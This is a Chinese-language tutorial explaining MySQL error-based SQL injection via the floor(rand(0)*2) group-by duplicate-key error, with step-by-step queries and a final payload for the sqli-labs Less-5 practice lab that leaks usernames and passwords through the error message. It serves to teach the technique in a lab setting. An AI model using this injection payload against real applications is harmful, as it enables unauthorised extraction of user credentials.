涉及到的函数

  • rand()函数:随机返回0~1之间的小数
1
select rand();

计算结果在0~1之间

1
select rand()*2;

计算结果在0~2之间

1
select rand() from users;

根据表users的行数随机显示结果

image-20230410172210731
1
select rand(num);

将数字num作为种子生成随机数,将可能产生相同的随机数

  • floor()函数:小数向下取整数。ceiling():向上取整数。
1
select floor(rand()*2);

结果随机为0或者1

  • concat_ws():将括号内数据用第一个字段连接起来
1
select concat_ws('-', (select database()), floor(rand()*2)) from users;
image-20230410173406925
  • group by:分组
1
select concat_ws('-', (select database()), floor(rand()*2)) as a from users group by a;

image-20230410173649755

  • count():汇总统计数量
1
select count(*),concat_ws('-', (select database()), floor(rand()*2)) as a from users group by a;

利用这个命令我们可以统计分组后各自的总数

image-20230410174042678

但是,这个命令偶尔会报错

image-20230410173926239

这里会出现我们的查询结果security-1,这个结果如果我们替换成我们需要的结果,就可以成功达到注入的效果。为了稳定触发这个报错,我们需要了解这个报错的触发原因。

  • limit:用于显示指定行数

报错触发原理

报错的原因在于统计分组的时候,分组的名字即security-1security-2发生了重复,导致了报错。

导致这个报错的真正原因在于:**rand函数在进行分组group by和统计count时可能会多次执行,导致键值key重复。**如何理解这句话呢?我们来阐述一下这整个统计过程

  1. floor(rand()*2)产生了一列随机数
  2. 使用concat_ws进行拼接
  3. group by和count进行统计数量,逐一统计计数

问题出现在统计记数这个过程中:

统计时发现key值不存在时,会重新计算concat_ws('-', (select database()), floor(rand(0)*2)) 再填入key内。

  • 假设第一次rand得到的是security-1,发现不存在,然后重新计算得到security-1填入key的空位;
  • 第二次我们rand得到了security-0,发现也不存在,然后重新计算得到security-1,但是仍然会填入key的空位中

这就导致了在统计表中出现了两个security-1的key,就导致了报错。

有了原理,我们就可以根据原理来稳定使得其报错。使用rand(num)得到不随机的随机数,然后尝试出稳定报错的num,再次构造上面的语句。

1
select count(*),concat_ws('-', (select database()), floor(rand(0)*2)) as a from users group by a;

from users的作用是产生足够多次的计算。在注入时,一般会使用行数比较多的默认数据表information_schema.tables

这样就得到稳定能够报错的语句,到现在为止,我们只需要修改(select database()),改成我们需要的语句就可以利用报错注入SQL了。

例子Less-5

对于例子5,我们就直接构造出语句即可:

1
?id=0' union select 1,count(*),concat_ws('-', (select concat('~',id,username,':',password) from users limit 0,1), floor(rand(0)*2)) as a from information_schema.tables group by a --+

利用limit 0,1可以将数据逐行显示在错误内

image-20230410224752631